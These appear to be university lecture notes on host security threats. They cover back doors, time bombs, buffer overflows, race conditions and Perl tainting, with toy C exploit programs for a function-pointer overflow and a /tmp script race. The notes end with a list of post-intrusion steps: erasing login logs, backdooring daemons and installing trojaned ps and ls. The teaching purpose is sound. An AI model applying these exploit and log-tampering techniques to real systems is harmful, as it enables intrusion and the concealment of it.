What exactly are the threats to host security?

• intentional trojans
  • back doors
  • time bombs
• undisciplined users
  • disclose password
  • utilize crackable password
• buggy software
  • race conditions
  • buffer overflow
• viruses
  • exec propogation viruses in Win/NT/MacOS
  • MacroViruses in Word/Lotus/Excel

Disclaimer

• using these techniques is illegal.
• as an administrator, you should know about them.
• you should not try these, even in jest.
• you should not use these unless an employer authorizes it in writing.
• you can be prosecuted even by mistake.

Truth about geek-level hacking

• Social engineering is easier and more effective.
• Geeks have no social graces.
• Really successful hackers aren't geeks.
• Just jerks.

General game in geek-level attacks

• find a buggy program executing as root
• trick it into working for you

Back doors

• program looks normal
• runs as root
• appropriate 'incantation' gives user shell
• 'War Games' effect (login: joshua)

Most famous: internet worm/sendmail back door

• Eric Allman had trouble developing sendmail.
• People didn't trust him with root.
• So he put a back door into sendmail.
• Proper startup would give him a root shell.
• And left it in!
• So someone started a virus that propogated from host to host using this backdoor.
• And brought down the Internet for a day.

Time bombs

• used by unscrupulous system admins to assure 'job security'
• Program is run periodically and checks whether enough time has elapsed.
• If too much time has elapsed, it crashes the system.
• Typical approach: system admin must touch a particular file every week or the system dies!
• Often part of blackmail scheme.

Example of time bomb

• Here's a bomb:

   #include <stdio.h> 
   #include <sys/types.h>
   #include <sys/stat.h>
   
   main() { 
      struct stat buf; 
      const char *fname = "/g/150NET/notes/threats/.cshrc"; 
      if (stat(fname,&buf)!=0 || buf.st_mtime+60<time(0)) { 
        printf("Time's up! I'm going to destroy this!\n"); 
      } 
   } 
  

• If the system admin doesn't touch the file /g/150NET/notes/threats/.cshrc every minute the script fires.
• All we have to do is to arrange to execute this regularly, perhaps as part of a root command /bin/login or set-user-id command /usr/bin/telnet!

More subtle attacks

• Most things aren't as obvious as back doors.
• Bugs can be difficult to 'engineer'
• But not difficult enough.
• There's one new case of 'buffer overflow' per week.

Remember the basic ingredients

• program running as someone else.
• bug in program allows you to control behavior.
• thereby bootstrapping your privileges to the next level.

Buffer overflow

• Software is really, really big.
• Buffer overflow exploits a known bug in a binary release of a program.
• Basic bug: can write more information than fits in a buffer.
• Attack strategy: map memory, determine some variable we can change by intentionally overflowing the buffer.
• Typical attack: find a pointer to function that you can change, and then write something into it.

Buffer overflow example

• Here's an example program: (buffer.c)

   #include <stdio.h> 
   #define LEN 10 
   
   /* here's the function I'll cause to be called */ 
   int foo(const char *q) { 
      printf("I got you, and captured '%s'\n",q); 
   } 
   
   /* here's the function that should be called */ 
   int normal(const char *p) { 
      printf("your message is '%s'\n", p); 
   } 
   
   main() { 
      /* pointer to function: these exist all throughout typical systems */ 
      int (*p)(const char *) = (int (*)(const char *))normal; 
      char buf[LEN]; 
      size_t size; 
   
      /* you can get this info from gdb as well */ 
      printf("buf=%08x\n",buf); 
      printf("p  =%08x\n",&p); 
      printf("foo=%08x\n",foo); 
      printf("*p =%08x\n",p); 
   
      /* a stupid fread call has a limit three times larger than the buffer */ 
      /* If we read the right thing, we lose */ 
      size=fread(buf,1,LEN*3,stdin); 
   
      printf("size=%d\n",size); 
      printf("*p =%08x\n",p); 
   
      /* the trap lies here */ 
      p("hi there"); 
   } 
  

• and now, how to exploit this: (overflow.c)

   #include <stdio.h> 
   #define SIZE 20 
   main() { 
       int buf[SIZE]; 
       int i; 
       for (i=0; i<SIZE; i++) buf[i]=0x00010b68; /* address of foo */ 
       fwrite(buf,sizeof(int),SIZE,stdout); 
   } 
  

• If we input anything shorter than the length specified in the victim program, we don't see a problem.
• If we run 'overflow | buffer' we immediately see a problem! foo gets called!

Advanced buffer overflow

• get an assembler (take Comp40)
• write assembly code to execute into the buffer itself.
• arrange for it to be executed.

Buffer overflow 'problems'

• Only works for one binary or one compilation strategy on a specific platform.
• Recompiling (with a different link order) can break it.
• Very targeted approach for access to specific architectures through specific holes.

Race conditions:

• Software running as root is often too trusting.
• Common misconception:
  • if you check whether a file is present,
  • and you create it,
  • and you write into it,
  • then you control its contents.
• In fact,
  • you must be particularly careful about any information you take in or utilize from outside your program.
  • If you're not truly paranoid in writing a program, someone else can get your program to believe a lie.

Race condition example:

• Here's a program that writes a script and then executes it(script.c)

   #include <stdio.h> 
   #include <sys/types.h>
   #include <sys/stat.h>
   
   main()
   { 
      struct stat buf; 
      const char *fname = "/tmp/script"; 
      if (stat(fname,&buf)!=0) { /* no file */ 
         FILE *fd = fopen(fname,"w"); 
         fprintf(fd,"echo 'hi there'\n"); 
         fclose(fd); 
      } 
      chmod(fname,0755); 
      system(fname); 
      unlink(fname); 
   } 
  

• And here's a script designed to beat that program and run its own script! (race.c)

   #include <stdio.h> 
   #include <sys/types.h>
   #include <sys/stat.h>
   
   main()
   { 
      int i; 
      struct stat buf; 
      const char *fname = "/tmp/script"; 
      while (1) { 
         if (stat(fname,&buf)!=0) { /* no file */ 
          FILE *fd = fopen(fname,"w"); 
          fprintf(fd,"echo 'got you'\n"); 
          fclose(fd); 
            chmod(fname,0555); 
         } 
         for (i=0; i<100; i++) {} 
         unlink(fname);  /* try again */ 
      } 
   } 
  

Why this works:

• if two processes write into a file, the last close wins!
• the 'victim' program doesn't do error checking to see if its fopen actually opened a new file.
• So there's a small window of opportunity in which the victim program can be fooled into executing a file owned by a different user!
• Here's the race: if the hack program can create a file in the time between the time when the victim checks for file existence and the time the victim writes into the file, then

   victim     v check file exists  v open file  v write file   v close file
   hack               v create hack  v write hack  v close file
   ----------------------------------------------------------------> time
  

  • the victim won't realize this
  • the victim fopen may fail (because the file is not writeable)
  • the victim won't know this.
  • it'll execute the fake script!
• Success of this method depends upon trying the race often enough to assure success, very frequently.
• If you try often enough, you're sure to win some of the time.

What price paranoia?

• problem: want to execute user CGI scripts.
• without compromising system integrity
• as the real user who owns the script
• apache 'suexec' feature.
• problem: web server runs as 'nobody' (65535)
• to execute script as me, 'nobody' has to become root. in order to become me.
• "don't try this at home"
• It is SO EASY to get root (or access to accounts of others) by changing ONE LINE of suexec.c that basically no one can do it.
• see /loc/apache/apache_1.3.9/apache_1.3.9/src/support/suexec.c

Strategy to combat root script errors: 'tainting'

• Every variable in a programming language has an extra bit called the 'taint' bit.
• taint bit is
  • 1 if data is from outside and unsafe.
  • 0 if data is from inside and safe.
• tainting algebra
  • anything coming from outside is tainted.
    • input
      • from keyboard
      • from files
    • command arguments
    • environment variables
  • any result computed from tainted variables is tainted! The Perl command:

     $thing .= $tainted; # now $thing is tainted as well.
    

  • tainting propogates to results of tainted calculations.
• guard algebra
  • any command that can be exploited will not execute on tainted data.

     #! /local/bin/perl -T
     system ("ls -l"); 
    

    reports

     Insecure $ENV{PATH} while running with -T switch at taint.pl line 3.
    

So you got in: what do you do?

• corrupt logs so we can't tell you got in.
  • /var/adm/wtmp: login history (command 'last')
  • /var/adm/wtmpx: extended history for suns
  • /var/adm/pacct: command accounting (command 'lastcomm')
  • |/var/log/messages: system log
• install backdoor for continued access
  • /usr/sbin/in.telnetd
  • /usr/sbin/in.ftpd
  • /usr/local/bin/sshd2
• install trojan'd programs that hide your access
  • /usr/bin/ps hides user you create.
  • /usr/bin/ls hides directory you create, e.g., /var/.w, /.x
• install cleanup trojan that erases all traces if someone reboots:
  • /usr/sbin/halt, /usr/sbin/shutdown erase all traces of your visit and restore files to old states.
• now you can get down to business (whatever that is).

However

• Geek-level attacks are not the most devastating.
• Greatest threat: the users.